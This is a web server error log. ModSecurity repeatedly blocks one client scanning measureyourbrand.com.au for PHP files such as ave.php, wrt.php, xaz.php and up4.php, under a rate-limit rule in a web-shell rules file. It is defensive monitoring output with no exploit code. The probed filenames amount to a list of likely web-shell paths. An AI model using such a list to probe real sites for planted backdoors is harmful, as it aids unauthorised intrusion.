[Mon Mar 02 04:27:57.252138 2026] [:error] [pid 28908:tid 28916] [client 20.104.124.39:37703] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2clas.php"] [unique_id "aaShTYqJmC8ih_lQQnC7xQAAAMY"]
[Mon Mar 02 04:27:58.017509 2026] [:error] [pid 31257:tid 31270] [client 20.104.124.39:37597] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2clas.php"] [unique_id "aaShTv-JFLfishX45N_aOwAAAQc"]
[Mon Mar 02 04:27:59.102585 2026] [:error] [pid 28794:tid 28840] [client 20.104.124.39:37569] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2clas.php"] [unique_id "aaShT6Vy2qpaelbUob3qlgAAAEQ"]
[Mon Mar 02 04:28:00.109437 2026] [:error] [pid 28793:tid 28827] [client 20.104.124.39:37604] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2clas.php"] [unique_id "aaShUA2_fxBANaHo1f7vQwAAABQ"]
[Mon Mar 02 04:28:00.756724 2026] [:error] [pid 28908:tid 28920] [client 20.104.124.39:37626] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ave.php"] [unique_id "aaShUIqJmC8ih_lQQnC73QAAAMo"]
[Mon Mar 02 04:28:01.335493 2026] [:error] [pid 28908:tid 28910] [client 20.104.124.39:37720] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ave.php"] [unique_id "aaShUYqJmC8ih_lQQnC74AAAAMA"]
[Mon Mar 02 04:28:02.089095 2026] [:error] [pid 28908:tid 28921] [client 20.104.124.39:37673] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ave.php"] [unique_id "aaShUoqJmC8ih_lQQnC75wAAAMs"]
[Mon Mar 02 04:28:02.687353 2026] [:error] [pid 28908:tid 28926] [client 20.104.124.39:37547] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ave.php"] [unique_id "aaShUoqJmC8ih_lQQnC77AAAANA"]
[Mon Mar 02 04:28:03.398148 2026] [:error] [pid 31257:tid 31265] [client 20.104.124.39:37522] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wrt.php"] [unique_id "aaShU_-JFLfishX45N_aTQAAAQI"]
[Mon Mar 02 04:28:03.939018 2026] [:error] [pid 31257:tid 31282] [client 20.104.124.39:37517] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wrt.php"] [unique_id "aaShU_-JFLfishX45N_aTwAAARM"]
[Mon Mar 02 04:28:04.512213 2026] [:error] [pid 28795:tid 28883] [client 20.104.124.39:37594] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wrt.php"] [unique_id "aaShVLROd53wZBkdI_frCQAAAJQ"]
[Mon Mar 02 04:28:05.480868 2026] [:error] [pid 28795:tid 28877] [client 20.104.124.39:37595] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wrt.php"] [unique_id "aaShVbROd53wZBkdI_frDgAAAI4"]
[Mon Mar 02 04:28:06.185547 2026] [:error] [pid 28795:tid 28864] [client 20.104.124.39:37667] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bibil.php"] [unique_id "aaShVrROd53wZBkdI_frGAAAAIE"]
[Mon Mar 02 04:28:06.902843 2026] [:error] [pid 31257:tid 31280] [client 20.104.124.39:37654] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bibil.php"] [unique_id "aaShVv-JFLfishX45N_aXAAAARE"]
[Mon Mar 02 04:28:07.422595 2026] [:error] [pid 31257:tid 31270] [client 20.104.124.39:37583] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bibil.php"] [unique_id "aaShV_-JFLfishX45N_aYQAAAQc"]
[Mon Mar 02 04:28:07.936662 2026] [:error] [pid 28794:tid 28859] [client 20.104.124.39:37612] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bibil.php"] [unique_id "aaShV6Vy2qpaelbUob3qpAAAAFc"]
[Mon Mar 02 04:28:09.237098 2026] [:error] [pid 31257:tid 31283] [client 20.104.124.39:37572] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/radio.php"] [unique_id "aaShWf-JFLfishX45N_aZwAAARQ"]
[Mon Mar 02 04:28:10.806469 2026] [:error] [pid 28794:tid 28845] [client 20.104.124.39:37518] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/radio.php"] [unique_id "aaShWqVy2qpaelbUob3qqgAAAEk"]
[Mon Mar 02 04:28:12.379671 2026] [:error] [pid 28795:tid 28864] [client 20.104.124.39:37688] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/radio.php"] [unique_id "aaShXLROd53wZBkdI_frPwAAAIE"]
[Mon Mar 02 04:28:13.825208 2026] [:error] [pid 31257:tid 31267] [client 20.104.124.39:37378] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/radio.php"] [unique_id "aaShXf-JFLfishX45N_aegAAAQQ"]
[Mon Mar 02 04:28:14.800268 2026] [:error] [pid 28908:tid 28916] [client 20.104.124.39:37792] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/files.php"] [unique_id "aaShXoqJmC8ih_lQQnC8HAAAAMY"]
[Mon Mar 02 04:28:17.507516 2026] [:error] [pid 31257:tid 31268] [client 20.104.124.39:37629] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/files.php"] [unique_id "aaShYf-JFLfishX45N_aiwAAAQU"]
[Mon Mar 02 04:28:18.299434 2026] [:error] [pid 28908:tid 28923] [client 20.104.124.39:37689] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/files.php"] [unique_id "aaShYoqJmC8ih_lQQnC8MQAAAM0"]
[Mon Mar 02 04:28:19.106548 2026] [:error] [pid 28908:tid 28921] [client 20.104.124.39:37880] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/files.php"] [unique_id "aaShY4qJmC8ih_lQQnC8OgAAAMs"]
[Mon Mar 02 04:28:20.000895 2026] [:error] [pid 28794:tid 28846] [client 20.104.124.39:37777] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file7.php"] [unique_id "aaShY6Vy2qpaelbUob3qswAAAEo"]
[Mon Mar 02 04:28:20.778801 2026] [:error] [pid 28908:tid 28921] [client 20.104.124.39:37582] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file7.php"] [unique_id "aaShZIqJmC8ih_lQQnC8SAAAAMs"]
[Mon Mar 02 04:28:22.533796 2026] [:error] [pid 31257:tid 31277] [client 20.104.124.39:37551] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file7.php"] [unique_id "aaShZv-JFLfishX45N_apAAAAQ4"]
[Mon Mar 02 04:28:24.709615 2026] [:error] [pid 31257:tid 31271] [client 20.104.124.39:37533] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file7.php"] [unique_id "aaShaP-JFLfishX45N_awAAAAQg"]
[Mon Mar 02 04:28:26.079915 2026] [:error] [pid 28795:tid 28864] [client 20.104.124.39:37845] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gifclass.php"] [unique_id "aaSharROd53wZBkdI_friAAAAIE"]
[Mon Mar 02 04:28:26.776476 2026] [:error] [pid 28795:tid 28875] [client 20.104.124.39:37623] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gifclass.php"] [unique_id "aaSharROd53wZBkdI_frjQAAAIw"]
[Mon Mar 02 04:28:33.668737 2026] [:error] [pid 28794:tid 28858] [client 20.104.124.39:37550] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file9.php"] [unique_id "aaShcaVy2qpaelbUob3qygAAAFY"]
[Mon Mar 02 04:28:34.166908 2026] [:error] [pid 28908:tid 28930] [client 20.104.124.39:37772] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file9.php"] [unique_id "aaShcoqJmC8ih_lQQnC8dwAAANQ"]
[Mon Mar 02 04:28:34.815565 2026] [:error] [pid 28794:tid 28838] [client 20.104.124.39:37611] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file9.php"] [unique_id "aaShcqVy2qpaelbUob3qzgAAAEI"]
[Mon Mar 02 04:28:35.832883 2026] [:error] [pid 28795:tid 28879] [client 20.104.124.39:37732] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file9.php"] [unique_id "aaShc7ROd53wZBkdI_frvgAAAJA"]
[Mon Mar 02 04:28:36.746344 2026] [:error] [pid 28795:tid 28876] [client 20.104.124.39:37825] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ac.php"] [unique_id "aaShdLROd53wZBkdI_frygAAAI0"]
[Mon Mar 02 04:28:37.593535 2026] [:error] [pid 28795:tid 28886] [client 20.104.124.39:37617] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ac.php"] [unique_id "aaShdbROd53wZBkdI_fr1gAAAJc"]
[Mon Mar 02 04:28:38.083958 2026] [:error] [pid 28793:tid 28830] [client 20.104.124.39:37624] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ac.php"] [unique_id "aaShdg2_fxBANaHo1f7vTAAAABc"]
[Mon Mar 02 04:28:38.786274 2026] [:error] [pid 28794:tid 28836] [client 20.104.124.39:37738] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ac.php"] [unique_id "aaShdqVy2qpaelbUob3q2gAAAEA"]
[Mon Mar 02 04:28:39.520685 2026] [:error] [pid 28794:tid 28852] [client 20.104.124.39:37846] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/new4.php"] [unique_id "aaShd6Vy2qpaelbUob3q3QAAAFA"]
[Mon Mar 02 04:28:40.384047 2026] [:error] [pid 31257:tid 31277] [client 20.104.124.39:37856] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/new4.php"] [unique_id "aaSheP-JFLfishX45N_a9AAAAQ4"]
[Mon Mar 02 04:28:40.990690 2026] [:error] [pid 28795:tid 28868] [client 20.104.124.39:37588] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/new4.php"] [unique_id "aaSheLROd53wZBkdI_fr6wAAAIU"]
[Mon Mar 02 04:28:41.693011 2026] [:error] [pid 28793:tid 28810] [client 20.104.124.39:37621] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/new4.php"] [unique_id "aaSheQ2_fxBANaHo1f7vVAAAAAM"]
[Mon Mar 02 04:28:42.692272 2026] [:error] [pid 31257:tid 31278] [client 20.104.124.39:37599] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pop.php"] [unique_id "aaShev-JFLfishX45N_a_QAAAQ8"]
[Mon Mar 02 04:28:43.270362 2026] [:error] [pid 31257:tid 31282] [client 20.104.124.39:37775] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pop.php"] [unique_id "aaShe_-JFLfishX45N_a_wAAARM"]
[Mon Mar 02 04:28:44.031590 2026] [:error] [pid 31257:tid 31266] [client 20.104.124.39:37618] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pop.php"] [unique_id "aaShfP-JFLfishX45N_bAwAAAQM"]
[Mon Mar 02 04:28:44.579006 2026] [:error] [pid 31257:tid 31275] [client 20.104.124.39:37779] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pop.php"] [unique_id "aaShfP-JFLfishX45N_bBwAAAQw"]
[Mon Mar 02 04:28:45.569238 2026] [:error] [pid 31257:tid 31264] [client 20.104.124.39:37691] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/az.php"] [unique_id "aaShff-JFLfishX45N_bDQAAAQE"]
[Mon Mar 02 04:28:46.359831 2026] [:error] [pid 28793:tid 28828] [client 20.104.124.39:37765] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/az.php"] [unique_id "aaShfg2_fxBANaHo1f7vWwAAABU"]
[Mon Mar 02 04:28:46.954444 2026] [:error] [pid 31257:tid 31274] [client 20.104.124.39:37473] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/az.php"] [unique_id "aaShfv-JFLfishX45N_bEwAAAQs"]
[Mon Mar 02 04:28:47.862726 2026] [:error] [pid 28794:tid 28857] [client 20.104.124.39:37887] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/az.php"] [unique_id "aaShf6Vy2qpaelbUob3q7QAAAFU"]
[Mon Mar 02 04:28:49.093038 2026] [:error] [pid 28795:tid 28868] [client 20.104.124.39:37442] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xaz.php"] [unique_id "aaShgbROd53wZBkdI_fsHgAAAIU"]
[Mon Mar 02 04:28:50.461934 2026] [:error] [pid 28793:tid 28818] [client 20.104.124.39:37615] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xaz.php"] [unique_id "aaShgg2_fxBANaHo1f7vXQAAAAs"]
[Mon Mar 02 04:28:51.336548 2026] [:error] [pid 28794:tid 28855] [client 20.104.124.39:37627] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xaz.php"] [unique_id "aaShg6Vy2qpaelbUob3q-wAAAFM"]
[Mon Mar 02 04:28:52.204161 2026] [:error] [pid 28908:tid 28920] [client 20.104.124.39:37830] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xaz.php"] [unique_id "aaShhIqJmC8ih_lQQnC8lwAAAMo"]
[Mon Mar 02 04:28:52.918865 2026] [:error] [pid 31257:tid 31285] [client 20.104.124.39:37844] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/up4.php"] [unique_id "aaShhP-JFLfishX45N_bIgAAARY"]
[Mon Mar 02 04:28:53.471735 2026] [:error] [pid 28795:tid 28863] [client 20.104.124.39:37540] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/up4.php"] [unique_id "aaShhbROd53wZBkdI_fsNQAAAIA"]
